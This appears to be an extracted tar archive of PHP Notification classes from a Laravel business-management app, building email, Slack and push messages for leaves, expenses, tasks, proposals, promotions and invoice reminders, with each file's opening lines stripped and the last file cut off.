->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newChat.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->userChat->id, 'user_one' => $this->userChat->user_one, 'from_name' => $this->userChat->fromUser->name, ]; } public function toSlack($notifiable) { $url = route('messages.index'); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content('<' . $url . '|' . __('email.newChat.subject') . ' ' . __('app.from') . ' ' . $this->userChat->fromUser->name . '>'); } public function toOneSignal() { return OneSignalMessage::create() ->setSubject(__('email.newChat.subject') . ' ' . __('app.from') . ' ' . $this->userChat->fromUser->name) ->setBody($this->userChat->message) ->setUrl(route('messages.index')); } } Notifications/MultipleLeaveApplication.php000064400000004656150325104510015031 0ustar00leave = $leave; $this->multiDates = $multiDates; $this->company = $this->leave->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-leave-application')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('leaves.show', $this->leave->unique_id); $url = getDomainSpecificUrl($url, $this->company); $dates = str_replace(',', ' to ', $this->multiDates);; $emailDate = __('app.leaveDate') . '
'; $emailDate .= $dates .' ( '. __('app.status') . ': ' . $this->leave->status.' )'.'
'; $emailDate .= __('modules.leaves.reason') . ': ' . $this->leave->reason . '
'; $build ->subject(__('email.leave.applied') . ' - ' . config('app.name')) ->greeting(__('email.hello') . ' ' . $notifiable->name . ',') ->markdown('mail.leaves.multiple', [ 'url' => $url, 'content' => $emailDate, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leaves.action'), ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->leave->toArray(); } } Notifications/TimerStarted.php000064400000003176150325104510012500 0ustar00timeLog = $projectTimeLog; $this->company = $this->timeLog->project->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { return ['database']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('login'); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.notificationIntro'); $build ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.notificationAction') ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->timeLog->toArray(); } } Notifications/NewProposal.php000064400000004664150325104510012345 0ustar00proposal = $proposal; $this->company = $this->proposal->company; } /** * Get the notification's delivery channels. * * @return array */ public function via() { return ['database', 'mail']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage|void */ // phpcs:ignore public function toMail($notifiable) { $newProposal = parent::build($notifiable); $proposalController = new ProposalController(); if ($pdfOption = $proposalController->domPdfObjectForDownload($this->proposal->id)) { $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $newProposal->attachData($pdf->output(), $filename . '.pdf'); App::setLocale($notifiable->locale ?? $this->company->locale ?? 'en'); $url = url()->temporarySignedRoute('front.proposal', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $this->proposal->hash); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.proposal.text') . '
' . __('app.proposal') . ' ' . __('app.number') . ': ' . $this->proposal->proposal_number . '' . '
'; $newProposal->subject(__('email.proposal.subject') . ' (' . $this->proposal->proposal_number . ')' ) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('app.view') . ' ' . __('app.proposal'), 'notifiableName' => $this->proposal->lead->client_name ]); return $newProposal; } } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->proposal->toArray(); } } Notifications/PromotionAdded.php000064400000007650150325104510013002 0ustar00promotion = $promotion; $this->company = $this->promotion->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->promotion->company_id)->where('slug', 'event-notification')->first(); } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. */ public function toMail(object $notifiable): MailMessage { $build = parent::build($notifiable); $subject = '🚀' . __('email.incrementPromotion.subject') . ' ' . $notifiable->name; $department = $this->promotion->current_department_id == $this->promotion->previous_department_id ? __('email.incrementPromotion.same') : ' '.$this->promotion->currentDepartment->team_name.''; $content = __('email.incrementPromotion.text') . ' ' . $this->promotion->currentDesignation->name . ' ' . __('email.incrementPromotion.in') . ' ' . $department . ' ' . __('app.menu.teams') . '! 🎊

' . __('email.incrementPromotion.text1') . '

' . __('email.incrementPromotion.text2') . '

'; $build ->subject($subject) ->markdown('mail.email', [ 'content' => $content, 'themeColor' => $this->company->header_color, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray(object $notifiable): array { return [ 'id' => $this->promotion->id, 'created_at' => $this->promotion->created_at->format('Y-m-d H:i:s'), 'title' => __('email.incrementPromotion.subject') . ' ' . $notifiable->name, 'heading' => __('email.incrementPromotion.text3') . ': ' . $this->promotion->currentDesignation->name, ]; } public function toSlack($notifiable) { try { $notifiableName = __('email.hello') . ': ' . $notifiable->name; $subject = '🚀 ' . __('email.incrementPromotion.subject') . ' ' . $notifiable->name; $department = $this->promotion->current_department_id == $this->promotion->previous_department_id ? __('email.incrementPromotion.same') : ' *' . optional($this->promotion->currentDepartment)->team_name . '*'; $content = __('email.incrementPromotion.text') . ' *' . optional($this->promotion->currentDesignation)->name . '* ' . __('email.incrementPromotion.in') . ' ' . $department . ' ' . __('app.menu.teams') . '! 🎊' . "\n\n" . __('email.incrementPromotion.text1') . "\n\n" . __('email.incrementPromotion.text2'); return $this->slackBuild($notifiable) ->content($subject . "\n\n" . $notifiableName . "\n\n" . $content); } catch (\Exception $e) { return $this->slackRedirectMessage('email.incrementPromotion.subject', $notifiable); } } } Notifications/NewUserViaLink.php000064400000007106150325104510012734 0ustar00new_user = $new_user; $this->company = $this->new_user->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'user-join-via-invitation')->first(); } /** * Get the notification's delivery channels. *t('mail::layout') * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newUserViaLink.subject'), $this->new_user->name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('employees.show', $this->new_user->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newUserViaLink.text') . '
' . __('app.name') . ':- ' . $this->new_user->name . '
' . __('app.email') . ':- ' . $this->new_user->email; $build ->subject(__('email.newUserViaLink.subject') . ' ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newUserViaLink.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'user_id' => $this->new_user->id, 'name' => $this->new_user->name, 'image_url' => $this->new_user->image_url, ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { try { return $this->slackBuild($notifiable) ->content('*' . __('email.newUserViaLink.subject') . ' ' . config('app.name') . '!*' . "\n" . __('email.newUserViaLink.text'). "\n" . __('app.name') . ': ' . $this->new_user->name . "\n" . __('app.email') . ': ' . $this->new_user->email); } catch (\Exception $e) { return $this->slackRedirectMessage('email.newUserViaLink.subject', $notifiable); } } } Notifications/BulkShiftNotification.php000064400000003352150325104510014327 0ustar00userData = $userData; $this->dateRange = $dateRange; $this->userId = $userId; $this->company = $this->userData->company; } /** * Get the notification's delivery channels. * * @return array */ public function via($notifiable) { return ['mail']; } /** * Get the mail representation of the notification. */ public function toMail($notifiable):MailMessage { $build = parent::build($notifiable); $employeeShifts = EmployeeShiftSchedule::with('shift') ->whereIn('date', $this->dateRange) ->where('user_id', $this->userId) ->get(); $build ->subject(__('email.shiftScheduled.subject')) ->markdown('mail.bulk-shift-email', [ 'employeeShifts' => $employeeShifts, 'company' => $this->company, ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray($notifiable) { // return $this->userData->toArray(); } } Notifications/TaskNoteMention.php000064400000007777150325104510013166 0ustar00task = $task; $this->event = $event; $this->company = $this->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'task-mention-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskNote.mentionSubject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $url = route('tasks.show', [$this->task->id, 'view' => 'notes']); $url = getDomainSpecificUrl($url, $this->company); $project = ((!is_null($this->task->project)) ? __('app.project') . ' - ' . $this->task->project->project_name : ''); $content = __('email.taskNote.mentionNote') . '
' . $project . '
'; return parent::build($notifiable) ->subject(__('email.taskNote.mentionSubject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown( 'mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskNote.action'), 'notifiableName' => $notifiable->name ] ); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading, 'type' => 'note', ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.taskNote.mentionNote') . '*' . "\n" . $this->task->heading . "\n" . ' #' . $this->task->task_short_code); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->subject(__('email.taskNote.mentionSubject')) ->body($this->task->heading . ' ' . __('email.taskNote.subject')); } } Notifications/NewProjectMember.php000064400000007663150325104510013306 0ustar00project = $project; $this->projectMember = ProjectMember::where('project_id', $this->project->id)->first(); $this->company = $this->project->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'project-mention-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newProjectMember.subject'), $this->project->project_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('projects.show', $this->project->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newProjectMember.text') . ' - ' . ($this->project->project_name) . '

' . __('email.newProjectMember.text2'); $build ->subject(__('email.newProjectMember.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newProjectMember.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'member_id' => $this->projectMember->id, 'project_id' => $this->project->id, 'project' => $this->project->project_name ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.newProjectMember.subject') . '*' . "\n" . __('email.newProjectMember.text') . ' - ' . $this->project->project_name); } public function toOneSignal() { return OneSignalMessage::create() ->setSubject(__('email.newProjectMember.subject')) ->setBody($this->project->project_name); } } Notifications/EstimateRequestInvite.php000064400000003425150325104510014371 0ustar00invite = $invite; $this->company = $invite->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { return ['mail']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build(); $url = route('estimate-request.create'); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.estimate_request_invite.content'); $subject = __('email.estimate_request_invite.subject'); $build ->subject($subject) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.estimate_request_invite.action'), 'notifiableName' => $this->invite->name, ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } } Notifications/NewExpenseMember.php000064400000011012150325104510013266 0ustar00expense = $expense; $this->company = $this->expense->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-expenseadded-by-member')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable?->email_notifications && $notifiable?->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->expense->status == 'approved') { $subject = __('email.newExpense.newSubject'); } else { $subject = __('email.newExpense.subject'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, $subject, $this->expense->item_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('expenses.show', $this->expense->id); $url = getDomainSpecificUrl($url, $this->company); if ($this->expense->status == 'approved') { $subject = __('email.newExpense.newSubject'); } else { $subject = __('email.newExpense.subject'); } $content = $subject . '
' . __('app.status') . ': ' . $this->expense->status . '
' . __('app.employee') . ': ' . $this->expense->user->name . '
' . __('modules.expenses.itemName') . ': ' . $this->expense->item_name . '
' . __('app.price') . ': ' . currency_format($this->expense->price, $this->expense->currency->id); $build ->subject($subject . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newExpense.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->expense->id, 'user_id' => $notifiable->id, 'item_name' => $this->expense->item_name ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $url = route('expenses.show', $this->expense->id); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content(__('email.newExpense.subject') . ' - ' . $this->expense->item_name . ' - ' . currency_format($this->expense->price, $this->expense->currency->id) . "\n" . $url); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newExpense.subject')) ->setBody($this->expense->item_name . ' by ' . $this->expense->user->name); } } Notifications/NewExpenseStatus.php000064400000010447150325104510013355 0ustar00expense = $expense; $this->company = $this->expense->company; if ($this->company) { $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'expense-status-changed')->first(); } } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if (is_null($this->company)) { array_push($via, 'mail'); return $via; } if ($this->emailSetting && $notifiable) { if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.expenseStatus.subject'), $this->expense->item_name); } } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('expenses.show', $this->expense->id); $url = getDomainSpecificUrl($url, $this->company); $content = $this->expense->item_name . ' - ' . __('email.expenseStatus.text') . ' ' . $this->expense->status . '.'; $build ->subject(__('email.expenseStatus.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.expenseStatus.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->expense->id, 'user_id' => $notifiable->id, 'item_name' => $this->expense->item_name ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { if ($this->slackUserNameCheck($notifiable)) { return $this->slackBuild($notifiable) ->content(__('email.expenseStatus.text') . ' ' . $this->expense->status . ' - ' . $this->expense->item_name . ' - ' . $this->expense->currency->currency_symbol . $this->expense->price); } return $this->slackRedirectMessage('email.expenseStatus.subject', $notifiable); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.expenseStatus.subject')) ->setBody($this->expense->item_name . ' - ' . __('email.expenseStatus.text') . ' ' . $this->expense->status . '.'); } } Notifications/NewClientTask.php000064400000004743150325104510012605 0ustar00task = $task; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $startDate = (!is_null($this->task->start_date)) ? $this->task->start_date->format($this->company->date_format) : null; $content = __('email.newClientTask.content') . ': '. $this->task->project->project_name . '

' .__('app.task'). ' '. __('app.details'). ':' .'
' . ' ' . __('app.task') . __('app.name') . ': ' . $this->task->heading . '
' . ' ' . __('app.startDate') . ': ' . $startDate . '

'; $build ->subject(__('email.newClientTask.subject') . ' ' . $this->task->heading . ' - ' . config('app.name') . '.') ->greeting(__('email.hello') . ' ' . $notifiable->name . ',') ->markdown('mail.task.task-created-client-notification', [ 'content' => $content, 'notifiableName' => $notifiable->name, ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } } Notifications/RemovalRequestApprovedRejectUser.php000064400000004011150325104510016531 0ustar00type = $type; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array(); if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); if ($this->type == 'approved') { $content = __('email.removalRequestApprovedUser.text'); $build ->subject(__('email.removalRequestApprovedUser.subject') . ' ' . config('app.name') . '.') ->markdown('mail.email', [ 'content' => $content, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } $content = __('email.removalRequestRejectedUser.text'); $build ->subject(__('email.removalRequestRejectedUser.subject') . ' ' . config('app.name') . '.') ->markdown('mail.email', [ 'content' => $content, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } } Notifications/NewRecurringInvoice.php000064400000004513150325104510014014 0ustar00invoice = $invoice; $this->company = $this->invoice->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'invoice-createupdate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') ? ['mail', 'database'] : ['database']; return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('recurring-invoices.show', $this->invoice->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newInvoiceRecurring.subject') . '.' . '
' . __('email.newInvoiceRecurring.text') . '
' . __('app.total') . ': ' . $this->invoice->currency->currency_symbol . $this->invoice->total; $build ->subject(__('email.newInvoiceRecurring.subject')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newInvoiceRecurring.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->invoice->id, 'invoice_number' => $this->invoice->invoice_number ]; } } Notifications/ProjectRating.php000064400000003701150325104510012636 0ustar00project = $project; } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { $via = array('database'); if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('projects.show', $this->project->id) . '?tab=rating'; $url = getDomainSpecificUrl($url, $this->company); $content = __('email.projectRating.text') . ' ' . $this->project->project_name; $build ->subject(__('email.projectRating.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company?->header_color, 'actionText' => __('email.projectRating.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ //phpcs:ignore public function toArray(object $notifiable): array { return [ 'id' => $this->project->id, 'created_at' => $this->project->rating->created_at->format('Y-m-d H:i:s'), 'heading' => __('email.projectRating.subject'), ]; } } Notifications/TaskCompletedClient.php000064400000004706150325104510013767 0ustar00task = $task; $this->company = $this->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'task-completed')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $taskShortCode = (!is_null($this->task->task_short_code)) ? '#' . $this->task->task_short_code : ' '; $content = $this->task->heading . ' ' . __('email.taskComplete.subject') . ' #' . $this->task->task_short_code; $build ->subject(__('email.taskComplete.subject') . $taskShortCode . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskComplete.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading, 'completed_on' => $this->task->completed_on ? $this->task->completed_on->format('Y-m-d H:i:s') : null ]; } } Notifications/NewExpenseRecurringAdmin.php000064400000007626150325104510015010 0ustar00expense = $expense; $this->company = $this->expense->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-expenseadded-by-admin')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newExpense.subject'), $this->expense->item_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $user = $notifiable; $url = route('expenses.show', $this->expense->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newExpense.subject') . '.' . '
' . __('app.employee') . ': ' . $this->expense->user->name . '
' . __('modules.expenses.itemName') . ': ' . $this->expense->item_name . '
' . __('app.price') . ': ' . $this->expense->currency->currency_symbol . $this->expense->price; $build ->subject(__('email.newExpense.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newExpense.action'), 'notifiableName' => $user->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->expense->toArray(); } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.newExpense.subject') . ' - ' . $this->expense->item_name . ' - ' . $this->expense->currency->currency_symbol . $this->expense->price . "\n" . url('/login')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newExpense.subject')) ->setBody($this->expense->item_name . ' by ' . $this->expense->user->name); } } Notifications/InvoiceReminder.php000064400000004413150325104510013146 0ustar00invoice = $invoice; $this->company = $this->invoice->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { $via = ['database']; if ($notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $setting = $this->company; $invoice_setting = $this->company->invoiceSetting->send_reminder; $invoice_number = $this->invoice->invoice_number; $url = url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $this->invoice->hash); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.invoiceReminder.text') . ' ' . now($setting->timezone)->addDays($invoice_setting)->toFormattedDateString() . '
' . new HtmlString($invoice_number) . '
